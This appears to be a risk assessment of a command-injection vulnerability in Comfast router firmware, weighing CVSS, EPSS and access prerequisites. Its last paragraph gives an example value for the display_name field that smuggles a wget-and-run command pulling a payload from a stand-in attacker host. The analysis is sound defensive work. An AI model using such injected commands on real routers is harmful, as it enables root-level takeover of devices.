Comfast Router Firmware CVE-2026-75364

Two concrete prerequisites must both be satisfied: (1) The attacker must be on the same network segment as the router's web management interface (AV:A - not reachable from the open internet under default configurations unless management is explicitly port-forwarded through NAT, which is non-default and inadvisable). (2) The attacker must possess valid administrator credentials for the device's web management interface (PR:H). The vulnerable code path is the update_interface_png SET handler, a standard feature of the firmware's graphing subsystem, which is present and active by default on affected builds. Limiting factors are the adjacent-network constraint (blocks internet-based opportunistic scanning) and the high-privilege authentication requirement (blocks unauthenticated exploitation). Exploitation is bounded to the router device itself (S:U); no lateral movement to other systems results from the vulnerability alone.

The CVSS 3.1 score of 6.8 (Medium) accurately captures the constrained exploitation conditions: adjacent-network access (AV:A) and administrator-level credentials (PR:H) are both required, which are meaningful real-world barriers. Despite the maximum C/I/A impact ratings reflecting full device compromise at root, the attack surface is genuinely narrow - exploitation is not possible from the open internet under default configurations, and an attacker must already control an admin account. EPSS at 0.17% (6th percentile) is consistent with this picture and indicates no observed mass exploitation activity. A public PoC on GitHub lowers the technical barrier for any attacker who meets the prerequisites, but has not driven EPSS higher. KEV absence further supports that exploitation remains low-volume or targeted. No conflicts between data signals are present. The primary realistic threat actor is an insider, a compromised admin credential holder, or an attacker who has already achieved local network access - not an opportunistic internet scanner.

An attacker with administrator access to the Comfast router's local-network web management interface sends a crafted POST request to the update_interface_png endpoint with a display_name value containing shell metacharacters - for example, a value such as 'x; wget http://attacker.example/payload -O /tmp/p; sh /tmp/p'. The webmgnt binary passes this unsanitized value through sprintf() into the /etc/rrd/graphinterface command string and calls system(), executing the injected commands as root. The public PoC on GitHub confirms this path is straightforward for any attacker who satisfies the adjacent-network and admin credential prerequisites.